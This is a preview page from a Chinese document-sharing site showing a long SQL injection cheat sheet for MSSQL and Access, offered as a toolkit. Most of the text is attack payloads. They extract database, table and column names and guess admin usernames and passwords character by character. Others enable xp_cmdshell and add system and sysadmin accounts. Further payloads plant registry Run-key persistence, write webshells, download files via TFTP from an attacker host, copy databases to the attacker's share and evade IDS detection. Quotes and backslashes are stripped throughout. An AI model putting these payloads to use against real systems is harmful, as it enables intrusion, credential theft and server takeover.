SQL注入语句.doc_第1页
SQL注入语句.doc_第2页
SQL注入语句.doc_第3页
SQL注入语句.doc_第4页
SQL注入语句.doc_第5页
已阅读5页,还剩23页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入语句 (很全) 1、 返回的是连接的数据库名and db_name()02、作用是获取连接用户名and user03、将数据库备份到Web目录下面;backup database 数据库名 to disk=c:inetpubwwwroot1.db;-4、显示SQL系统版本and 1=(select VERSION) 或and 1=convert(int,version)-5、判断xp_cmdshell扩展存储过程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =xp_cmdshell)6、恢复xp_cmdshell扩展存储的命令;exec master.dbo.sp_addextendedproc xp_cmdshell,e:inetputwebxplog70.dll;-7、向启动组中写入命令行和执行程序;EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun,help1,REG_SZ,cmd.exe /c net user test ptlove /add8、查看当前的数据库名称and 0 db_name(n) n改成0,1,2,3就可以跨库了 或and 1=convert(int,db_name()-9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)10、则把得到的数据内容全部备份到WEB目录下;backup database 数据库名 to disk=c:inetpubwwwrootsave.db11、通过复制CMD创建UNICODE漏洞;exec master.dbo.xp_cmdshell copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe12、遍历系统的目录结构,分析结果并发现WEB虚拟目录先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);-(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;-通过查询temp的内容来获得驱动器列表及相关信息(2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs c:;-(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;- (实验成功)13、查看某个文件的内容,可以通过执行xp_cmdsell;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-14、将一个文本文件插入到一个临时表中;bulk insert temp(id) from c:inetpubwwwrootindex.asp15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:;delete from temp;-16、浏览TEMP表的方法是:and (select top 1 id from TestDB.dbo.temp)0 假设TestDB是当前连接的数据库名17、猜解所有数据库名称and (select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 0 dbid=6,7,8分别得到其它库名18、猜解数据库中用户名表的名称and (select count(*) from TestDB.dbo.表名)0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。19、判断是否是sysadmin权限and 1=(SELECT IS_SRVROLEMEMBER(sysadmin)20、判断是否是SA用户sa=(SELECT System_user)21、查看数据库角色;use model-22、查看库名and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6)-23、获得第一个用户建立表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 )0 假设要获得数据库是TestDB.dbo24、获得第二个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 and name not in(xyz)025、获得第三个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 and name not in(xyz,)0 中为第二个用户名26、获得第四个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 and name not in(xyz,)0 ,中为第二,三个用户名27、获得表中记录的条数and (select count(*) from 表名)5 记录条数小于5 或 10 记录条数小于10 等等28、测试权限结构(mssql)and 1=(SELECT IS_SRVROLEMEMBER(sysadmin);-and 1=(SELECT IS_SRVROLEMEMBER(serveradmin);-and 1=(SELECT IS_SRVROLEMEMBER(setupadmin);-and 1=(SELECT IS_SRVROLEMEMBER(securityadmin);-and 1=(SELECT IS_SRVROLEMEMBER(diskadmin);-and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin);-and 1=(SELECT IS_MEMBER(db_owner);-29、 添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;-;exec master.dbo.sp_password null,username,password;-;exec master.dbo.sp_addsrvrolemember sysadmin username;-;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-;exec master.dbo.xp_cmdshell net user username password /add;-;exec master.dbo.xp_cmdshell net localgroup administrators username /add;-30、 简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ();backup database model to disk=g:wwwtestl.asp;请求的时候,像这样子用:http:/ip/l.asp?c=dir31、猜解字段名称猜解法:and (select count(字段名) from 表名)0 若“字段名”存在,则返回正常读取法:and (select top 1 col_name(object_id(表名),1) from sysobjects)0 把col_name(object_id(表名),1)中的1依次换成2,3,4,5,6就可得到所有的字段名称。32、 猜解用户名与密码ASCII码逐字解码法:基本的思路是先猜出字段的长度,然后依次猜出每一位的值and (select top 1 len(username) from admin)=X(X=1,2,3,4,5, n,假设:username为用户名字段的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。and (select top 1 ascii(substring(username,m,1) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,时猜测分别猜测第1,2,3,位的值;n的值是19、az、AZ的ASCII值,也就是1128之间的任意值;admin为系统用户帐号表的名称),33、建立数据表;create table 表名 (列名1 数据类型,列名2 数据类型);-34、向表格中插入数据;insert into 表名 (列名1,列名2,) values (值1,值2);-35、更新记录update 表名 set 列名1=值 where 36、删除记录delete from 表名 where 37、删除数据库表格drop table 表名38、将文本文件导入表使用bulk insert语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:create table foo( line varchar(8000)然后执行bulk insert操作把文件中的数据插入到表中,如:bulk insert foo from c:inetpubwwwrootprocess_login.asp39、备份当前数据库的命令:declare a sysname;set a=db_name();backup database a to disk=你的IP你的共享目录bak.dat ,name=test;-40、使用sp_makewebtask处理过程的相关请求写入URL; EXEC master.sp_makewebtask shareoutput.html, SELECT * FROM INFORMATION_SCHEMA.TABLES41、将获得SQLSERVER进程的当前工作目录中的目录列表Exec master.xp_cmdshell dir42、将提供服务器上所有用户的列表Exec master.xp_cmdshell net user43、读注册表存储过程exec xp_regread HKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetServiceslanmanserverparameters, nullsessionshares44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务exec master.xp_servicecontrol start,scheduleexec master.xp_servicecontrol start,server45、显示机器上有用的驱动器Xp_availablemedia46、允许获得一个目录树Xp_dirtree47、提供进程的进程ID,终止此进程Xp_terminate_process48、恢复xp_cmdshellExec master.dbo.addextendedproc xp_cmdshell,xplog70.dll49、堵上cmdshell的SQL语句sp_dropextendedproc xp_cmdshell50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效declare shell int exec sp_oacreate wscript.shell,shell output exec sp_oamethod shell,run,null,c:winntsystem32cmd.exe /c net user gchn aaa /add-51、在数据库内添加一个hax用户;exec sp_addlogin hax;-52、给hax设置密码;exec master.dbo.sp_password null,username,password;-53、将hax添加到sysadmin组;exec master.dbo.sp_addsrvrolemember sysadmin hax;-54、(1)遍历目录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree c:;and (select top 1 paths from dirs)0;and (select top 1 paths from dirs where paths not in(上步得到的paths)55、(2)遍历目录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);-;insert temp exec master.dbo.xp_availablemedia;- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs c:;- 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;- 获得所有子目录的目录树结构;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;- 查看文件的内容56、mssql中的存储过程xp_regenumvalues 注册表根键, 子键;exec xp_regenumvalues HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun 以多个记录集方式返回所有键值xp_regread 根键,子键,键值名;exec xp_regread HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,CommonFilesDir 返回制定键的值xp_regwrite 根键,子键, 值名, 值类型, 值值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型;exec xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName,reg_sz,hello 写入注册表xp_regdeletevalue 根键,子键,值名exec xp_regdeletevalue HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersion,TestValueName 删除某个值xp_regdeletekey HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionTes最标准的SQL注入语句(二)爆库 特殊_blank技巧::%5c= 或者把/和 修改%5提交 and 0(select top 1 paths from newtable)- 得到库名(从1到5都是系统的id,6以上才可以判断) and 1=(select name from master.dbo.sysdatabases where dbid=7)- and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 依次提交 dbid = 7,8,9. 得到更多的_blank数据库名 and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin) 来得到其他的表。 and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 暴到UID的数值假设为18779569 uid=id and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank_id and 0(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,.) 来暴出其他的字段 and 0_id from BBS.dbo.admin where username1) 可以得到用户名 依次可以得到_blank密码。假设存在user_blank_id username ,password 等字段 and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6) and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address) and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 判断id值 and 0(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用) 得到WEB路径 ;create table dbo.swap (swappasschar(255);- and (select top 1 swappass from swap)=1- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500) Declare test varchar(20) exec master.xp_blank_regread rootkey=HKEY_blank_LOCAL_blank_MACHINE, key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, value_blank_name=/, values=test OUTPUT insert into paths(path) values(test)- ;use ku1;- ;create table cmd (str image);- 建立image类型的表cmd 存在xp_blank_cmdshell的测试过程: ;exec master.xp_blank_cmdshell dir ;exec master.dbo.sp_blank_addlogin jiaoniang$;- 加SQL帐号 ;exec master.dbo.sp_blank_password null,jiaoniang$,1866574;- ;exec master.dbo.sp_blank_addsrvrolemember jiaoniang$ sysadmin;- ;exec master.dbo.xp_blank_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;- ;exec master.dbo.xp_blank_cmdshell net localgroup administrators jiaoniang$ /add;- exec master.xp_blank_servicecontrol start, schedule 启动_blank服务 exec master.xp_blank_servicecontrol start, server ; DECLARE shell INT EXEC SP_blank_OACREATE wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE shell INT EXEC SP_blank_OACREATE wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master.xp_blank_cmdshell tftp -i youip get file.exe- 利用TFTP上传文件 ;declare a sysname set a=xp_blank_+cmdshell exec a dir c: ;declare a sysname set a=xp+_blank_cm+dshell exec a dir c: ;declare a;set a=db_blank_name();backup database a to disk=你的IP你的共享目录bak.dat 如果被限制则可以。 select * from openrowset(_blanksqloledb,server;sa;,select OK! exec master.dbo.sp_blank_addlogin hax) 查询构造: SELECT * FROM news WHERE id=. AND topic=. AND . adminand 1=(select count(*) from user where username=victim and right(left(userpass,01),1)=1) and userpass select 123;- ;use master;- :a or name like fff%;- 显示有一个叫ffff的用户哈。 and 1(select count(email) from user);- ;update users set email=(select top 1 name from sysobjects where xtype=u and status0) where name=ffff;- ;update users set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;- ;update users set email=(select top 1 name from sysobjects where xtype=u and id581577110) where name=ffff;- ;update users set email=(select top 1 count(id) from password) where name=ffff;- ;update users set email=(select top 1 pwd from password where id=2) where name=ffff;- ;update users set email=(select top 1 name from password where id=2) where name=ffff;- 上面的语句是得到_blank数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 通过查看ffff的用户资料可得第一个用表叫ad 然后根据表名ad得到这个表的ID 得到第二个表的名字 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)- insert into users values( 667,123,123,0xffff)- insert into users values ( 123, admin-, password, 0xffff)- ;and user0 ;and (select count(*) from sysobjects)0 ;and (select count(*) from mysysobjects)0 /为access_blank数据库 枚举出数据表名 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status0);- 这是将第一个表名更新到aaa的字段处。 读出第一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status0 and namevote);- 然后id=1552 and exists(select * from aaa where aaa5) 读出第二个表,一个个的读出,直到没有为止。 读字段是这样: ;update aaa set aaa=(select top 1 col_blank_name(object_blank_id(表名),1);- 然后id=152 and exists(select * from aaa where aaa5)出错,得到字段名 ;update aaa set aaa=(select top 1 col_blank_name(object_blank_id(表名),2);- 然后id=152 and exists(select * from aaa where aaa5)出错,得到字段名 获得数据表名将字段值更新为表名,再想法读出这个字段的值就可得到表名 update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status0 and name你得到的表名 查出一个加一个) where 条件 select top 1 name from sysobjects where xtype=u and status0 and name not in(table1,table2,) 通过SQLSERVER注入_blank漏洞建_blank数据库管理员帐号和系统管理员帐号当前帐号必须是SYSADMIN组 获得数据表字段名将字段值更新为字段名,再想法读出这个字段的值就可得到字段名 update 表名 set 字段=(select top 1 col_blank_name(object_blank_id(要查询的数据表名),字段列如:1) where 条件 绕过IDS的检测使用变量 ;declare a sysname set a=xp_blank_+cmdshell exec a dir c: ;declare a sysname set a=xp+_blank_cm+dshell exec a dir c: 1、 开启远程_blank数据库 基本语法 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何端口用来连接,比如 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=,1433;, select * from table 3.复制目标主机的整个_blank数据库insert所有远程表到本地表。一些SQL注入语句/script.asp?id=2 and 1=(select VERSION) 或者and (select version)0;- /显示SQL版本/script.asp?id=2 and 1=(select IS_SRVROLEMEMBER(sysadmin)或者and sa=(select System_user)- /返回正常,这证明当前连接的账号是服务器角色sysadmin权限。/script.asp?id=2 and sa=(select System_user) /用来查看连接账号是不是用sa 连接的,IE再一次返回正常。这证明了连接账号真的是SA/script.asp?id=2 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = X AND name = xp_cmdshell) /查看XP_cmdshell扩展存储过程是不是已经被删除/script.asp?id=2;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll /尝试恢复xp_cmdshell/script.asp?id=2 and 1=(select count(*) FROM master.dbo.sysobjects where name= xp_regread) /查看XP_regread扩展存储过程是不是已经被删除/script.asp?id=2 and 1=(select count(*) FROM master.dbo.sysobjects where name= sp_makewebtask) /查看sp_makewebtask扩展存储过程是不是已经被删除标准注入语句1.判断有无注入点 ; and 1=1 and 1=21.1判断数据库类型(select count(*) from sysobjects)0sysobjects(sql) msysobjects(access)2.猜表一般的表的名称无非是admin adminuser user pass password 等.and 0(select count(*) from *)and 0(select count(*) from admin) -判断是否存在admin这张表3.猜帐号数目 如果遇到0 返回正确页面 1返回错误页面说明帐号数目就是1个and 0(select count(*) from admin)and 10)-and 1=(select count(*) from admin where len(用户字段名称name)0) and 1=(select count(*) from admin where len(密码字段名称password)0) 5.猜解各个字段的长度 猜解长度就是把0变换 直到返回正确页面为止and 1=(select count(*) from admin where len(*)0) and 1=(select count(*) from admin where len(name)6) 错误and 1=(select count(*) from admin where len(name)5) 正确 长度是6and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)11) 正确and 1=(select count(*) from admin where len(password)12) 错误 长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) -猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)=ab)-猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1)=51) - 这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.针对字符串类型的暴库,暴表 having 1=1- group by users.id having 1=1- group by users.id, users.username, users.password, users.privs having 1=1-; insert into users values( 666, attacker, foobar, 0xffff )- union select sum(username) from login-可判断username列的数据类型针对数字型系统表information_schema.table饱含了系统中所有表的信息,这个表中的table_name字段包含了所有的表名UNION Select TOP 1 TABLE_NAME,TABLE_NAME from INFORMATION_SCHEMA.TABLES-错误中返回了一个表名:syssegments说明当前数据库包含一个syssegments表,这是在建立数据库的时候系统自动生成的表,我们不关心,接下来继续提交:union select top 1 table_name,table_name from information_schema.tables where table_name not in(syssegments)-返错暴表:login然后利用information_schema.columns表中的column_name字段来得到login表中的字段名:union select top 1 column_name,column_name from information schema.columns where table_name=login-返错暴表:userid可继续提交得到其他字段:union select top 1 column_name,column_name from information_schema.columns where table_name=login and column_name not in(userid)-可参考如下:UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=logintable- UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=logintable Where COLUMN_NAME NOT IN (login_id)- UNION Select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS Where TABLE_NAME=logintable Where COLUMN_NAME NOT IN (login_id,login_name)- UNION Select TOP 1 login_name FROM logintable- UNION Select TOP 1 password FROM logintable where login_name=Rahul- 看服务器打的补丁=出错了打了SP4补丁and 1=(select VERSION)-看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。and 1=(Select IS_SRVROLEMEMBER(sysadmin)-判断连接数据库帐号。(采用

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论